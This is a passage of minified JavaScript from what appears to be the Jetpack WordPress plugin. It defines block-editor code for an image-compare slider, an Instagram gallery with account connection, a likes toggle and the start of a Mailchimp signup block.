0!==n?n:e.height;h({imageAfter:{id:o,url:r||e.url,alt:a,width:s,height:l}})}}})))),(!a.RichText.isEmpty(v)||m&&g.url&&b.url)&&(0,r.createElement)(a.RichText,{tagName:"figcaption",placeholder:__("Write caption","jetpack"),value:v,onChange:e=>h({caption:e}),inlineToolbar:!0}))}},93052:function(e,t,n){"use strict";var r=n(31985),a=n(94039);(0,r.Z)(a.u,a.X)},17990:function(e,t,n){"use strict";var r=n(51806),a=n(55609);t.Z=(0,r.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,r.createElement)(a.Path,{d:"M21 4h-6v1.5h6c.3 0 .5.2.5.5v.4l-3.6 3.5L15 8.1v1.8l2.6 1.7c.1.1.3.1.4.1.2 0 .4-.1.5-.2l3-2.9V18c0 .3-.2.5-.5.5h-6V20h6c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zM1 6v12c0 1.1.9 2 2 2h10.5V4H3c-1.1 0-2 .9-2 2zm11 12.5H3c-.3 0-.5-.2-.5-.5v-1.4L5 14.7l1.5-1.1.1-.1 3 1.9c.1.1.3.1.4.1.2 0 .4-.1.5-.2L12 14v4.5zm0-6.6l-2.1 2L7 12c-.1-.1-.3-.1-.4-.1h-.1c-.1 0-.3.1-.4.1l-1.1.9-2.5 1.8V6c0-.3.2-.5.5-.5h9v6.4z"}))},86504:function(e,t,n){"use strict";var r=n(51806),a=n(52175),o=n(55609),i=n(94333),s=n(69307);t.Z=(0,i.compose)([o.withNotices])((e=>{const{image:t,noticeOperations:n,noticeUI:o,onChange:i,placeHolderLabel:l}=e,c=(0,r.createElement)("img",{id:t.id,src:t.url,alt:t.alt}),u=(0,r.createElement)(s.Fragment,null,(0,r.createElement)(a.MediaPlaceholder,{labels:{title:l},accept:"image/*",allowedTypes:["image"],onSelect:i,onError:e=>n.createErrorNotice(e),notices:o}));return t&&t.url?c:u}))},94039:function(e,t,n){"use strict";n.d(t,{X:function(){return p},u:function(){return d}});var r=n(65736),a=n(70355),o=n(5820),i=n(63157),s=n(17990),l=n(90767),c=n(58632),u=n(25250);const __=r.__,_x=r._x,d="image-compare",p={title:__("Image Compare","jetpack"),description:__("Compare two images with a slider. Works best with images of the same size.","jetpack"),icon:{src:s.Z,foreground:(0,a.m)()},category:(0,o.Z)("media","layout"),keywords:[_x("juxtapose","block search term","jetpack"),_x("photos","block search term","jetpack"),_x("pictures","block search term","jetpack"),_x("side by side","block search term","jetpack"),_x("slider","block search term","jetpack")],supports:{align:["wide","full"]},attributes:{imageBefore:{type:"object",default:{}},imageAfter:{type:"object",default:{}},caption:{type:"string"},orientation:{type:"string",default:"horizontal"}},example:{attributes:{imageBefore:{id:1,url:c,alt:__("Before","jetpack")},imageAfter:{id:2,url:l,alt:__("After","jetpack")},caption:__("Example image","jetpack")}},edit:i.Z,save:u.Z}},25250:function(e,t,n){"use strict";var r=n(51806),a=n(52175);t.Z=e=>{let{attributes:t,className:n}=e;const{imageBefore:o,imageAfter:i,caption:s,orientation:l}=t;return(0,r.createElement)("figure",{className:n},(0,r.createElement)("div",{className:"juxtapose","data-mode":l||"horizontal"},(0,r.createElement)("img",{id:o.id,src:o.url,alt:o.alt,width:o.width,height:o.height,className:"image-compare__image-before"}),(0,r.createElement)("img",{id:i.id,src:i.url,alt:i.alt,width:i.width,height:i.height,className:"image-compare__image-after"})),!a.RichText.isEmpty(s)&&(0,r.createElement)(a.RichText.Content,{tagName:"figcaption",value:s}))}},37879:function(e,t,n){"use strict";var r=n(69307);t.Z=(e,t,n)=>{(0,r.useEffect)((()=>{const r=setTimeout((()=>e(n)),t);return()=>clearTimeout(r)}),[n])}},8503:function(e,t,n){"use strict";var r=n(47701);n.n(r)()((function(){const e={sliders:[],OPTIMIZATION_ACCEPTED:1,OPTIMIZATION_WAS_CONSTRAINED:2};function t(e,t){const n=this;this.image=new Image,this.loaded=!1,this.image.onload=function(){n.loaded=!0,t._onLoaded()},this.image.src=e.src,this.image.alt=e.alt||"",this.label=e.label||!1}function n(e,t){e&&e.classList.add(t)}function r(e,t){e&&e.classList.remove(t)}function a(e){return{width:parseInt(window.getComputedStyle(e).width,10),height:parseInt(window.getComputedStyle(e).height,10)}}function o(e,t){let n;if("string"==typeof t||"number"==typeof t)n=parseInt(t,10);else{const r=e.getBoundingClientRect(),a={top:r.top+document.body.scrollTop+document.documentElement.scrollTop,left:r.left+document.body.scrollLeft+document.documentElement.scrollLeft},o=e.offsetWidth;n=(function(e){let t;return t=e.pageX?e.pageX:e.touches?e.touches[0].pageX:e.clientX+document.body.scrollLeft+document.documentElement.scrollLeft,t}(t)-a.left)/o*100}return n}function i(e,t,n){let r;if("string"==typeof t||"number"==typeof t)r=parseInt(t,10);else{const a=e.getBoundingClientRect(),o={top:a.top+n.body.scrollTop+n.documentElement.scrollTop,left:a.left+n.body.scrollLeft+n.documentElement.scrollLeft},i=e.offsetHeight;r=(function(e){let t;return t=e.pageY?e.pageY:e.touches?e.touches[0].pageY:e.clientY+document.body.scrollTop+document.documentElement.scrollTop,t}(t)-o.top)/i*100}return r}const s={animate:!0,showLabels:!0,makeResponsive:!0};function l(e,n,r){let a;for(a in this.element=e,this.options={animate:!0,showLabels:!0,makeResponsive:!0,startingPosition:"50%",mode:"horizontal",callback:null},this.options)a in r&&(this.options[a]=a in s?"string"!=typeof(o=r[a])?Boolean(o):!("false"===o||""===o):r[a]);var o;2===n.length&&(this.imgBefore=new t(n[0],this),this.imgAfter=new t(n[1],this))}l.prototype={updateSlider:function(e,t){let a;a="vertical"===this.options.mode?i(this.slider,e,this.sliderParentDocument):o(this.slider,e),a=a.toFixed(2)+"%";const s=parseFloat(a),l=100-s+"%";s>0&&s<100&&(r(this.handle,"transition"),r(this.rightImage,"transition"),r(this.leftImage,"transition"),this.options.animate&&t&&(n(this.handle,"transition"),n(this.leftImage,"transition"),n(this.rightImage,"transition")),"vertical"===this.options.mode?(this.handle.style.top=a,this.leftImage.style.height=a,this.rightImage.style.height=l):(this.handle.style.left=a,this.leftImage.style.width=a,this.rightImage.style.width=l),this.sliderPosition=a)},getPosition:function(){return this.sliderPosition},displayLabel:function(e,t){const n=document.createElement("div");n.className="jx-label",n.setAttribute("tabindex",0),function(e,t){document.body.textContent?e.textContent=t:e.innerText=t}(n,t),e.appendChild(n)},setStartingPosition:function(e){this.options.startingPosition=e},calculateDims:function(e,t){const n=(r=this.imgBefore.image,{width:r.naturalWidth,height:r.naturalHeight,aspect:function(){return this.width/this.height}}).aspect();var r;return e?t=e/n:t&&(e=t*n),{width:e,height:t,ratio:n}},responsivizeIframe:function(e){return e.height<window.innerHeight?e.ratio>=1&&(this.wrapper.style.paddingTop=parseInt((window.innerHeight-e.height)/2)+"px"):e.height>window.innerHeight&&(e=this.calculateDims(0,window.innerHeight),this.wrapper.style.paddingLeft=parseInt((window.innerWidth-e.width)/2)+"px"),e},setWrapperDimensions:function(){const e=a(this.wrapper.parentNode).width,t=a(this.wrapper.parentNode).height;let n=this.calculateDims(e,t);window.location===window.parent.location||this.options.makeResponsive||(n=this.responsivizeIframe(n)),this.wrapper.style.height=parseInt(n.height)+"px",this.wrapper.style.width=parseInt(n.width)+"px"},optimizeWrapper:function(t){let n=e.OPTIMIZATION_ACCEPTED;return this.imgBefore.image.naturalWidth>=t&&this.imgAfter.image.naturalWidth>=t?(this.wrapper.style.width=t+"px",n=e.OPTIMIZATION_WAS_CONSTRAINED):this.imgAfter.image.naturalWidth<t?this.wrapper.style.width=this.imgAfter.image.naturalWidth+"px":this.wrapper.style.width=this.imgBefore.image.naturalWidth+"px",this.setWrapperDimensions(),n},_onLoaded:function(){if(this.imgBefore&&!0===this.imgBefore.loaded&&this.imgAfter&&!0===this.imgAfter.loaded){if(this.wrapper=this.element,!this.wrapper||this.wrapper.querySelector(".jx-slider"))return;n(this.wrapper,"juxtapose"),this.wrapper.style.width=this.imgBefore.image.naturalWidth,this.setWrapperDimensions(),this.slider=document.createElement("div"),this.slider.className="jx-slider",this.wrapper.appendChild(this.slider),this.sliderParentDocument=this.wrapper.ownerDocument,"horizontal"!==this.options.mode&&n(this.slider,this.options.mode),this.handle=document.createElement("div"),this.handle.className="jx-handle",this.rightImage=document.createElement("div"),this.rightImage.className="jx-image jx-right",this.rightImage.appendChild(this.imgAfter.image),this.leftImage=document.createElement("div"),this.leftImage.className="jx-image jx-left",this.leftImage.appendChild(this.imgBefore.image),this.slider.appendChild(this.handle),this.slider.appendChild(this.leftImage),this.slider.appendChild(this.rightImage),this.leftArrow=document.createElement("div"),this.rightArrow=document.createElement("div"),this.control=document.createElement("div"),this.controller=document.createElement("div"),this.leftArrow.className="jx-arrow jx-left",this.rightArrow.className="jx-arrow jx-right",this.control.className="jx-control",this.controller.className="jx-controller",this.controller.setAttribute("tabindex",0),this.controller.setAttribute("role","slider"),this.controller.setAttribute("aria-valuenow",50),this.controller.setAttribute("aria-valuemin",0),this.controller.setAttribute("aria-valuemax",100),this.controller.setAttribute("aria-label",window.imageCompareHandle?.msg||"Slide to compare images"),this.handle.appendChild(this.leftArrow),this.handle.appendChild(this.control),this.handle.appendChild(this.rightArrow),this.control.appendChild(this.controller),this._init()}},_init:function(){this.updateSlider(this.options.startingPosition,!1),!0===this.options.showLabels&&(this.imgBefore.label&&this.displayLabel(this.leftImage,this.imgBefore.label),this.imgAfter.label&&this.displayLabel(this.rightImage,this.imgAfter.label));const t=this;window.addEventListener("resize",(function(){t.setWrapperDimensions()})),this.slider.addEventListener("mousedown",(function(e){e.preventDefault(),t.updateSlider(e,!0);let n=!0;this.addEventListener("mousemove",(function(e){e.preventDefault(),n&&t.updateSlider(e,!1)})),this.addEventListener("mouseup",(function(e){e.preventDefault(),e.stopPropagation(),n=!1}))})),this.slider.addEventListener("touchstart",(function(e){e.preventDefault(),e.stopPropagation(),t.updateSlider(e,!0),this.addEventListener("touchmove",(function(e){e.preventDefault(),e.stopPropagation(),t.updateSlider(e,!1)}))})),this.handle.addEventListener("keydown",(function(e){const n=e.which||e.keyCode;let r=parseFloat(this.style.left);if(37===n){r-=1;const e=parseFloat(this.style.left)-1;t.updateSlider(e,!1),t.controller.setAttribute("aria-valuenow",r)}if(39===n){r+=1;const e=parseFloat(this.style.left)+1;t.updateSlider(e,!1),t.controller.setAttribute("aria-valuenow",r)}})),this.leftImage.addEventListener("keydown",(function(e){const n=e.which||e.keyCode;13!==n&&32!==n||(t.updateSlider("90%",!0),t.controller.setAttribute("aria-valuenow",91))})),this.rightImage.addEventListener("keydown",(function(e){const n=e.which||e.keyCode;13!==n&&32!==n||(t.updateSlider("10%",!0),t.controller.setAttribute("aria-valuenow",10))})),e.sliders.push(this),this.options.callback&&"function"==typeof this.options.callback&&this.options.callback(this)}},e.makeSlider=function(t,r){void 0===r&&(r=e.sliders.length);const a=t,o=a.querySelectorAll("img");if(o.length<2)return;const i={};a.getAttribute("data-animate")&&(i.animate=a.getAttribute("data-animate")),a.getAttribute("data-showlabels")&&(i.showLabels=a.getAttribute("data-showlabels")),a.getAttribute("data-startingposition")&&(i.startingPosition=a.getAttribute("data-startingposition")),a.getAttribute("data-mode")&&(i.mode=a.getAttribute("data-mode")),a.getAttribute("data-makeresponsive")&&(i.mode=a.getAttribute("data-makeresponsive"));return n(t,"juxtapose-"+r),a.innerHTML?a.innerHTML="":a.innerText="",new e.JXSlider(t,[{src:o[0].src,label:o[0].getAttribute("data-label"),alt:o[0].alt},{src:o[1].src,label:o[1].getAttribute("data-label"),alt:o[1].alt}],i)},e.scanPage=function(){const t=document.querySelectorAll(".juxtapose");for(let n=0;n<t.length;n++)e.makeSlider(t[n],n)},e.JXSlider=l,window.juxtapose=e,e.scanPage()}))},8979:function(e,t){"use strict";t.Z={accessToken:{type:"string"},instagramUser:{type:"string"},columns:{type:"number",default:3,min:1,max:6},count:{type:"number",default:9,min:1,max:30},spacing:{type:"number",default:10,min:0,max:50},isStackedOnMobile:{type:"boolean",default:!0}}},696:function(e,t,n){"use strict";n.d(t,{D:function(){return a},u:function(){return r}});const r=30,a="jetpack-new-instagram-connection"},64129:function(e,t,n){"use strict";n.d(t,{Z:function(){return s}});var r=n(51806),a=n(55609),o=n(65736),i=n(696);const __=o.__,_n=o._n;function s(e){let{accountImageTotal:t,attributes:n,currentUserConnected:s,disconnectFromService:l,shouldRenderSidebarNotice:c,setAttributes:u}=e;const{accessToken:d,columns:p,count:m,instagramUser:h,isStackedOnMobile:f,spacing:g}=n;return(0,r.createElement)(r.Fragment,null,(0,r.createElement)(a.PanelBody,{title:__("Account Settings","jetpack")},(0,r.createElement)(a.PanelRow,null,(0,r.createElement)("span",null,__("Account","jetpack")),(0,r.createElement)(a.ExternalLink,{href:`https://www.instagram.com/${h}/`},"@",h)),s&&(0,r.createElement)(a.PanelRow,null,(0,r.createElement)(a.Button,{isDestructive:!0,variant:"link",onClick:()=>l(d)},__("Disconnect your account","jetpack")))),(0,r.createElement)(a.PanelBody,{title:__("Display Settings","jetpack")},c?(()=>{const e=t?(0,o.sprintf)(/* translators: placeholder is a number. */
_n("There is currently only %s post in your Instagram account.","There are currently only %s posts in your Instagram account.",t,"jetpack"),t):__("There are currently no posts in your Instagram account.","jetpack");return(0,r.createElement)("div",{className:"wp-block-jetpack-instagram-gallery__count-notice"},(0,r.createElement)(a.Notice,{isDismissible:!1,status:"info"},e))})():null,(0,r.createElement)(a.RangeControl,{label:__("Number of Posts","jetpack"),value:m,onChange:e=>u({count:e}),min:1,max:i.u}),(0,r.createElement)(a.RangeControl,{label:__("Number of Columns","jetpack"),value:p,onChange:e=>u({columns:e}),min:1,max:6}),(0,r.createElement)(a.RangeControl,{label:__("Image Spacing (px)","jetpack"),value:g,onChange:e=>u({spacing:e}),min:0,max:50}),(0,r.createElement)(a.ToggleControl,{label:__("Stack on mobile","jetpack"),checked:f,onChange:()=>u({isStackedOnMobile:!f})})))}},36420:function(e,t,n){"use strict";var r=n(51806),a=n(13419),o=n(52175),i=n(55609),s=n(69307),l=n(65736),c=n(65235),u=n.n(c),d=n(92819),p=n(4554),m=n(8979),h=n(696),f=n(64129),g=n(44961),b=n(79236),v=n(2681),k=n(75412);const __=l.__;t.Z=(0,i.withNotices)((e=>{const{attributes:t,className:n,isSelected:l,noticeOperations:c,noticeUI:y,setAttributes:E}=e,{accessToken:w,align:_,columns:C,count:S,isStackedOnMobile:j,spacing:x}=t;(0,s.useEffect)((()=>{const e=(0,p.S)(m.Z,t);(0,d.isEqual)(e,t)||E(e)}),[t,E]);const[P,L]=(0,s.useState)(w),{isRequestingWpcomConnectUrl:T,wpcomConnectUrl:N}=(0,v.Z)(),{images:A,isLoadingGallery:R,setImages:I}=(0,k.Z)({accessToken:w,noticeOperations:c,setAttributes:E,setSelectedAccount:L}),{connectToService:M,disconnectFromService:B,isConnecting:Z,isRequestingUserConnections:F,userConnections:D}=(0,b.Z)({accessToken:w,noticeOperations:c,selectedAccount:P,setAttributes:E,setImages:I,setSelectedAccount:L}),O=(0,a.Dp)(),z=S>A.length?A.length:S,U=!R&&(!w||(0,d.isEmpty)(A)),$=!U,H=w&&R&&(0,d.isEmpty)(A),V=!U&&!H,G=u()(n,{[`align${_}`]:_}),q=u()("wp-block-jetpack-instagram-gallery__grid",`wp-block-jetpack-instagram-gallery__grid-columns-${C}`,{"is-stacked-on-mobile":j}),W={gridGap:x,"--latest-instagram-posts-spacing":x?`${x}px`:void 0},X={padding:x},K=()=>{P&&h.D!==P?E({accessToken:P,instagramUser:(0,d.find)(D,{token:P}).username}):M()};return(0,r.createElement)("div",{className:G},U&&(0,r.createElement)(i.Placeholder,{icon:"instagram",instructions:O?F||D.length?void 0:__("Connect to Instagram to start sharing your images.","jetpack"):__("First, you'll need to connect your WordPress.com account.","jetpack"),label:__("Latest Instagram Posts","jetpack"),notices:y},O?(()=>{const e=D.length>0,t=[...(0,d.map)(D,(e=>({label:`@${e.username}`,value:e.token}))),{label:__("Add a new account","jetpack"),value:h.D}],n=Z||F||e&&!P;return(0,r.createElement)("div",null,e&&(0,r.createElement)(i.RadioControl,{label:__("Select your Instagram account:","jetpack"),onChange:e=>L(e),options:t,selected:P}),h.D===P&&(0,r.createElement)("p",{className:"wp-block-jetpack-instagram-gallery__new-account-instructions"},__("If you are currently logged in to Instagram on this device, you might need to log out of it first.","jetpack")),(0,r.createElement)(i.Button,{disabled:n,variant:"primary",onClick:K},Z&&__("Connecting…","jetpack"),F&&__("Loading your connections…","jetpack"),!Z&&!F&&__("Connect to Instagram","jetpack")))})():(0,r.createElement)(i.Button,{disabled:T||!N,href:N,variant:"secondary"},__("Connect to WordPress.com","jetpack"))),H&&(0,r.createElement)("div",{className:"wp-block-embed is-loading"},(0,r.createElement)(i.Spinner,null),(0,r.createElement)("p",null,__("Embedding…","jetpack"))),V&&(0,r.createElement)("div",{className:q,style:W},(0,d.times)(l?S:z,(e=>(0,r.createElement)("span",{className:u()("wp-block-jetpack-instagram-gallery__grid-post"),key:e,style:X},(e=>{if(A[e]){const n=A[e];return(0,r.createElement)(g.Z,{alt:n.title||n.url,src:n.url,attributes:t,spacing:x})}return(0,r.createElement)("img",{alt:__("Latest Instagram Posts placeholder","jetpack"),src:"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNMyc2tBwAEOgG/c94mJwAAAABJRU5ErkJggg=="})})(e))))),$&&(0,r.createElement)(o.InspectorControls,null,(0,r.createElement)(f.Z,{accountImageTotal:A.length,attributes:t,currentUserConnected:O,disconnectFromService:B,shouldRenderSidebarNotice:$&&!H&&A.length<S,setAttributes:E})))}))},34575:function(e,t,n){"use strict";var r=n(31985),a=n(78544);(0,r.Z)(a.u,a.X)},44961:function(e,t,n){"use strict";n.d(t,{Z:function(){return s}});var r=n(51806),a=n(69307),o=n(65235),i=n.n(o);function s(e){let{src:t,alt:n,spacing:o}=e;const[s,l]=(0,a.useState)(!1),[c,u]=(0,a.useState)("auto"),d=(0,a.useRef)(),p=()=>{l(!0),u("auto")};(0,a.useEffect)((()=>{const e=t;if(e){const t=new window.Image;t.src=e,t.onload=p}d.current&&u(d.current.parentNode.getBoundingClientRect().width)}),[t]);const m=-1*o,h=i()("wp-block-jetpack-instagram-gallery__placeholder",{"is-loaded":s}),f=s?{margin:m}:{margin:m,height:c},g=i()({"is-loaded":s});return(0,r.createElement)("span",{style:f,className:h},(0,r.createElement)("img",{alt:n,className:g,ref:d,src:t}))}},78544:function(e,t,n){"use strict";n.d(t,{X:function(){return u},u:function(){return c}});var r=n(51806),a=n(4981),o=n(65736),i=n(70355),s=n(8979),l=n(36420);const __=o.__,_x=o._x,c="instagram-gallery",u={title:__("Latest Instagram Posts","jetpack"),description:__("Display an automatically updating list of the latest posts from your Instagram feed.","jetpack"),icon:{src:"instagram",foreground:(0,i.m)()},category:"embed",keywords:[_x("images","block search term","jetpack"),_x("photos","block search term","jetpack"),_x("pictures","block search term","jetpack")],supports:{align:!0,html:!1},transforms:{from:[{type:"block",blocks:["core/legacy-widget"],isMatch:e=>{let{idBase:t,instance:n}=e;return!!n?.raw&&"wpcom_instagram_widget"===t},transform:e=>{let{instance:t}=e;return(0,a.createBlock)("jetpack/instagram-gallery",{columns:t.raw.columns,count:t.raw.count,accessToken:t.raw.token_id})}}]},attributes:s.Z,edit:l.Z,save:e=>{let{attributes:{instagramUser:t}}=e;return t&&(0,r.createElement)("div",null,(0,r.createElement)("a",{href:`https://www.instagram.com/${t}/`,rel:"noopener noreferrer",target:"_blank"},`https://www.instagram.com/${t}/`))}}},79236:function(e,t,n){"use strict";n.d(t,{Z:function(){return d}});var r=n(13419),a=n(7211),o=n(86989),i=n.n(o),s=n(69307),l=n(65736),c=n(92819),u=n(696);const __=l.__;function d(e){let{accessToken:t,noticeOperations:n,selectedAccount:o,setAttributes:l,setImages:d,setSelectedAccount:p}=e;const[m,h]=(0,s.useState)(!1),[f,g]=(0,s.useState)(!1),[b,v]=(0,s.useState)([]),k=(0,r.Dp)();(0,s.useEffect)((()=>{!t&&k&&(g(!0),i()({path:"/wpcom/v2/instagram-gallery/connections"}).then((e=>{g(!1),v(e)})).catch((()=>{g(!1),v([])})))}),[t,k]),(0,s.useEffect)((()=>{u.D===o||(0,c.find)(b,{token:o})||p(void 0)}),[o,p,b]);return{connectToService:()=>{n.removeAllNotices(),h(!0),i()({path:"/wpcom/v2/instagram-gallery/connect-url"}).then((e=>{const t=new a.Z;t.open(e,"connect-to-instagram-popup","toolbar=0,location=0,menubar=0,"+t.getScreenCenterSpecs(700,700)),t.on("message",(e=>{let{keyring_id:t}=e;if(h(!1),t){const e=t.toString();l({accessToken:e}),p(e)}})),t.on("close",(e=>{"connect-to-instagram-popup"===e&&h(!1)}))})).catch((()=>{n.createErrorNotice(__("An error occurred. Please try again later.","jetpack")),h(!1)}))},disconnectFromService:()=>{n.removeAllNotices(),l({accessToken:void 0,instagramUser:void 0}),d([])},isConnecting:m,isRequestingUserConnections:f,userConnections:b}}},2681:function(e,t,n){"use strict";n.d(t,{Z:function(){return c}});var r=n(13419),a=n(86989),o=n.n(a),i=n(9818),s=n(69307),l=n(96483);function c(){const{isAutoDraft:e}=(0,i.useSelect)((e=>{const{status:t}=e("core/editor").getCurrentPost();return{isAutoDraft:"auto-draft"===t}})),{savePost:t}=(0,i.useDispatch)("core/editor"),[n,a]=(0,s.useState)(),[c,u]=(0,s.useState)(!1),d=(0,r.Dp)();return(0,s.useEffect)((()=>{d||n||c||(e?t():(u(!0),o()({path:(0,l.addQueryArgs)("/jetpack/v4/connection/url",{from:"jetpack-block-editor",redirect:window.location.href})}).then((e=>{a(e),u(!1)}))))}),[d,e,c,t,n]),{isRequestingWpcomConnectUrl:c,wpcomConnectUrl:n}}},75412:function(e,t,n){"use strict";n.d(t,{Z:function(){return u}});var r=n(86989),a=n.n(r),o=n(69307),i=n(65736),s=n(96483),l=n(92819),c=n(696);const __=i.__;function u(e){let{accessToken:t,noticeOperations:n,setAttributes:r,setSelectedAccount:i}=e;const[u,d]=(0,o.useState)([]),[p,m]=(0,o.useState)(!1);return(0,o.useEffect)((()=>{t&&(n.removeAllNotices(),m(!0),a()({path:(0,s.addQueryArgs)("/wpcom/v2/instagram-gallery/gallery",{access_token:t,count:c.u})}).then((e=>{let{external_name:t,images:a}=e;if(m(!1),!a||!(0,l.isArray)(a))return n.createErrorNotice(__("An error occurred. Please try again later.","jetpack")),d([]),r({accessToken:void 0,instagramUser:void 0}),void i(void 0);(0,l.isEmpty)(a)&&n.createErrorNotice(__("No images were found in your Instagram account.","jetpack")),r({instagramUser:t}),d(a)})).catch((()=>{m(!1),d([]),r({accessToken:void 0,instagramUser:void 0}),i(void 0)})))}),[t,r,i]),{images:u,isLoadingGallery:p,setImages:d}}},57158:function(e,t,n){"use strict";var r=n(13419),a=n(64007);(0,r.o_)(a.u,a.X)},64007:function(e,t,n){"use strict";n.d(t,{X:function(){return o},u:function(){return a}});var r=n(28495);const a="likes",o={render:r.Z}},28495:function(e,t,n){"use strict";var r=n(51806),a=n(55609),o=n(94333),i=n(9818),s=n(12238),l=n(65736),c=n(8264);const __=l.__,u=(0,i.withSelect)((e=>{const{getEditedPostAttribute:t}=e("core/editor");return{areLikesEnabled:t("jetpack_likes_enabled")}})),d=(0,i.withDispatch)((e=>{const{editPost:t}=e("core/editor");return{editPost:t}}));t.Z=(0,o.compose)([u,d])((e=>{let{areLikesEnabled:t,editPost:n}=e;return(0,r.createElement)(s.PostTypeSupportCheck,{supportKeys:"jetpack-post-likes"},(0,r.createElement)(c.Z,null,(0,r.createElement)(a.CheckboxControl,{label:__("Show likes.","jetpack"),checked:t,onChange:e=>{n({jetpack_likes_enabled:e})}})))}))},64968:function(e,t,n){"use strict";n.d(t,{Cw:function(){return o},N3:function(){return r},sf:function(){return a}});const r="processing",a="success",o="error"},84038:function(e,t,n){"use strict";n.d(t,{Q:function(){return l}});var r=n(51806),a=n(55609),o=n(65736),i=n(64968),s=n(24535);const __=o.__;function l(e){let{auditionNotification:t,clearAudition:n,setAttributes:o,emailPlaceholder:l,processingLabel:c,successLabel:u,errorLabel:d,interests:p,signupFieldTag:m,signupFieldValue:h,connectURL:f}=e;return(0,r.createElement)(r.Fragment,null,(0,r.createElement)(a.PanelBody,{title:__("Text Elements","jetpack")},(0,r.createElement)(a.TextControl,{label:__("Email Placeholder","jetpack"),value:l,onChange:e=>{o({emailPlaceholder:e}),n()}})),(0,r.createElement)(a.PanelBody,{title:__("Notifications","jetpack")},(0,r.createElement)(a.TextControl,{label:__("Processing text","jetpack"),value:c,onChange:e=>{o({processingLabel:e}),t(i.N3)}}),(0,r.createElement)(a.TextControl,{label:__("Success text","jetpack"),value:u,onChange:e=>{o({successLabel:e}),t(i.sf)}}),(0,r.createElement)(a.TextControl,{label:__("Error text","jetpack"),value:d,onChange:e=>{o({errorLabel:e}),t(i.Cw)}})),(0,r.createElement)(a.PanelBody,{title:__("Mailchimp Groups","jetpack")},(0,r.createElement)(s.Z,{interests:p,onChange:(e,t)=>{const n=[...new Set([...p,e])].filter((n=>!(n===e&&!t)&&n));o({interests:n})}}),(0,r.createElement)(a.ExternalLink,{href:"https://mailchimp.com/help/send-groups-audience/"},__("Learn about groups","jetpack"))),(0,r.createElement)(a.PanelBody,{title:__("Signup Location Tracking","jetpack")},(0,r.createElement)(a.TextControl,{label:__("Signup Field Tag","jetpack"),placeholder:__("SIGNUP","jetpack"),value:m,onChange:e=>o({signupFieldTag:e})}),(0,r.createElement)(a.TextControl,{label:__("Signup Field Value","jetpack"),placeholder:__("website","jetpack"),value:h,onChange:e=>o({signupFieldValue:e})}),(0,r.createElement)(a.ExternalLink,{href:"https://mailchimp.com/help/determine-webpage-signup-location/"},__("Learn about signup location tracking","jetpack"))),(0,r.createElement)(a.PanelBody,{title:__("Mailchimp Connection","jetpack")},(0,r.createElement)(a.ExternalLink,{href:f},__("Manage Connection","jetpack"))))}},748:function(e,t,n){"use strict";var r=n(4981),a=n(65736),o=n(92819);const __=a.__,i=["submitButtonText","backgroundButtonColor","textButtonColor","submitButtonClasses","customBackgroundButtonColor","customTextButtonColor"];t.Z={attributes:{emailPlaceholder:{type:"string",default:__("Enter your email","jetpack")},submitButtonText:{type:"string",default:__("Join my email list","jetpack")},backgroundButtonColor:{type:"string"},textButtonColor:{type:"string"},submitButtonClasses:{type:"string"},customBackgroundButtonColor:{type:"string"},customTextButtonColor:{type:"string"},consentText:{type:"string",default:__("By clicking submit, you agree to share your email address with the site owner and Mailchimp to receive marketing, updates, and other emails from the site owner. Use the unsubscribe link in those emails to opt out at any time.","jetpack")},interests:{type:"array",default:[]},processingLabel:{type:"string",default:__("Processing…","jetpack")},signupFieldTag:{type:"string"},signupFieldValue:{type:"string"},successLabel:{type:"string",default:__("Success! You're on the list.","jetpack")},errorLabel:{type:"string",default:__("Whoops! There was an error and we couldn't process your subscription. Please reload the page and try again.","jetpack")},preview:{type:"boolean",default:!1}},migrate:e=>{const t=(0,o.omit)(e,i),n={text:(a=e).submitButtonText||__("Join my email list","jetpack"),textColor:a.textButtonColor,customTextColor:a.customTextButtonColor,backgroundColor:a.backgroundButtonColor,customBackgroundColor:a.customBackgroundButtonColor};var a;return[t,[(0,r.createBlock)("jetpack/button",{element:"button",uniqueId:"mailchimp-widget-id",...n})]]},isEligible:(e,t)=>(0,o.isEmpty)(t)||(0,o.some)((0,o.pick)(e,i),Boolean),save:()=>null}},43818:function(e,t,n){"use strict";var r=n(90017),a=n.n(r),o=n(51806),i=n(13419),s=n(86989),l=n.n(s),c=n(52175),u=n(55609),d=n(69307),p=n(65736),m=n(96483),h=n(65235),f=n.n(h),g=n(64968),b=n(84038),v=n(4495);const __=p.__;class k extends d.Component{constructor(){super(...arguments),a()(this,"componentDidMount",(()=>{this.apiCall()})),a()(this,"onError",(e=>{const{noticeOperations:t}=this.props;t.removeAllNotices(),t.createErrorNotice(e)})),a()(this,"apiCall",(()=>{const e=(0,i.Dp)();if(e){const t={path:"/wpcom/v2/mailchimp",method:"GET"};l()(t).then((t=>{const n=t.connect_url,r="connected"===t.code?1:2;this.setState({currentUserConnected:e,connected:r,connectURL:n})}),(t=>{this.setState({currentUserConnected:e,connected:2,connectURL:null}),this.onError(t.message)}))}else l()({path:(0,m.addQueryArgs)("/jetpack/v4/connection/url",{from:"jetpack-block-editor",redirect:window.location.href})}).then((t=>{const n=t;this.setState({currentUserConnected:e,connected:2,connectURL:n})}))})),a()(this,"auditionNotification",(e=>{this.setState({audition:e}),this.timeout&&clearTimeout(this.timeout),this.timeout=setTimeout(this.clearAudition,3e3)})),a()(this,"clearAudition",(()=>{this.setState({audition:null})})),a()(this,"labelForAuditionType",(e=>{const{attributes:t}=this.props,{processingLabel:n,successLabel:r,errorLabel:a}=t;return e===g.N3?n:e===g.sf?r:e===g.Cw?a:null})),a()(this,"roleForAuditionType",(e=>e===g.Cw?"alert":"status")),a()(this,"render",(()=>{const{attributes:e,className:t,notices:n,noticeUI:r,setAttributes:a}=this.props,{audition:i,connected:s,connectURL:l,currentUserConnected:p}=this.state,{emailPlaceholder:m,consentText:h,interests:g,processingLabel:k,successLabel:y,errorLabel:E,preview:w,signupFieldTag:_,signupFieldValue:C}=e,S="wp-block-jetpack-mailchimp",j=(0,o.createElement)(u.Placeholder,{icon:v.qv,notices:n,className:"wp-block-jetpack-mailchimp",label:__("Mailchimp","jetpack")},(0,o.createElement)("div",{className:"align-center"},(0,o.createElement)(u.Spinner,null))),x=(0,o.createElement)(u.Placeholder,{className:"wp-block-jetpack-mailchimp",icon:v.qv,label:__("Mailchimp","jetpack"),notices:n,instructions:__("You need to connect your Mailchimp account and choose an audience in order to start collecting Email 